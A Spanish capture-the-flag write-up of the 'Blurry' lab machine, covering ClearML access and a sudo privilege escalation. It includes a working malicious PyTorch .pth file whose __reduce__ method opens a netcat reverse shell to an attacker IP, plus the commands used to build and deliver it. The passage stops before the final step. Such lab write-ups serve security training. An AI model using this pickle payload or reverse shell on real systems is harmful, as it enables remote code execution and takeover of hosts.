Añadimos la IP 10.10.11.19 a nuestro /etc/hosts y accedemos través del navegador. Llegamos a una página de login:
Cuando clickamos para escribir el usuario aparecen varios, lo que nos puede ayudar a acceder:
Por ejemplo accedemos como Chad Jippity y llegamos a un dashboard. Aquí podríamos empezar a investigar y a buscar credenciales, pero antes vamos a escanear los puertos abiertos para ver otras vías de entrada.
Como vemos, es un Clear ML, por lo que podemos buscar exploits públicos. Si accedemos a Settings > Workspace nos encontramos 2 credenciales:
Lo primero que vamos a comprobar son los permisos del usuario jippity en el sistema:
jippity@blurry:~/automation$ sudo -l
sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
La salida del comando sudo -l indica que el usuario jippity tiene permisos para ejecutar el comando /usr/bin/evaluate_model como root sin necesidad de ingresar una contraseña. Además, puede ejecutar este comando con cualquier archivo .pth en el directorio /models/. Esto podría permitir una elevación de privilegios si podemos aprovechar alguna vulnerabilidad o mal uso del archivo evaluate_model.
Creación de un archivo .pth Malicioso
Vamos a crear un script malicioso malicious-model.py en nuestro Kali Linux, lo ejecutamos en local y nos da un archivo root.pth que tendremos que enviar a la máquina:
import torch
import torch.nn as nn
import os
class MaliciousModel(nn.Module):
# PyTorch's base class for all neural network modules
def __init__(self):
super(MaliciousModel, self).__init__()
self.dense = nn.Linear(10, 1)
# Define how the data flows through the model
def forward(self, abdulrahman): # Passes input through the linear layer.
return self.dense(abdulrahman)
# Overridden __reduce__ Method
def __reduce__(self):
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.70 1234 >/tmp/f"
return os.system, (cmd,)
# Create an instance of the model
malicious_model = MaliciousModel()
# Save the model using torch.save
torch.save(malicious_model, 'root.pth')
Fijaros que nos devuelve una conexión de netcat a nuestra IP de atacante y al puerto 1234
Ejecutamos malicious_model.py
pip install torch
python3 malicious_model.py
ls
clearml_env exploit.py malicious_model.py root.pth
Una vez lo ejecutemos tendremos el archivo root.pth que vamos a enviar a la máquina.
jippity@blurry:~$ wget http://10.10.14.70/root.pth
wget http://10.10.14.70/root.pth
--2024-08-09 05:34:05-- http://10.10.14.70/root.pth
Connecting to 10.10.14.70:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 916 [application/octet-stream]
Saving to: ‘root.pth’
root.pth 100%[===================>] 916 --.-KB/s in 0s
2024-08-09 05:34:05 (76.4 MB/s) - ‘root.pth’ saved [916/916]
jippity@blurry:~$ ls
automation clearml.conf exploit.sh root.pth user.txt
jippity@blurry:~$ cp root.pth /models
jippity@blurry:~$ cd /models
jippity@blurry:/models$ ls
demo_model.pth evaluate_model.py root.pth
Una vez que tenemos el archivo root.pth en la máquina solo tenemos que abrir un listener con netcat por el puerto 1234 que le indicamos, mover el archivo root.pth al directorio /models y ejecutar el script con sudo, pasándole root.pth como argumento: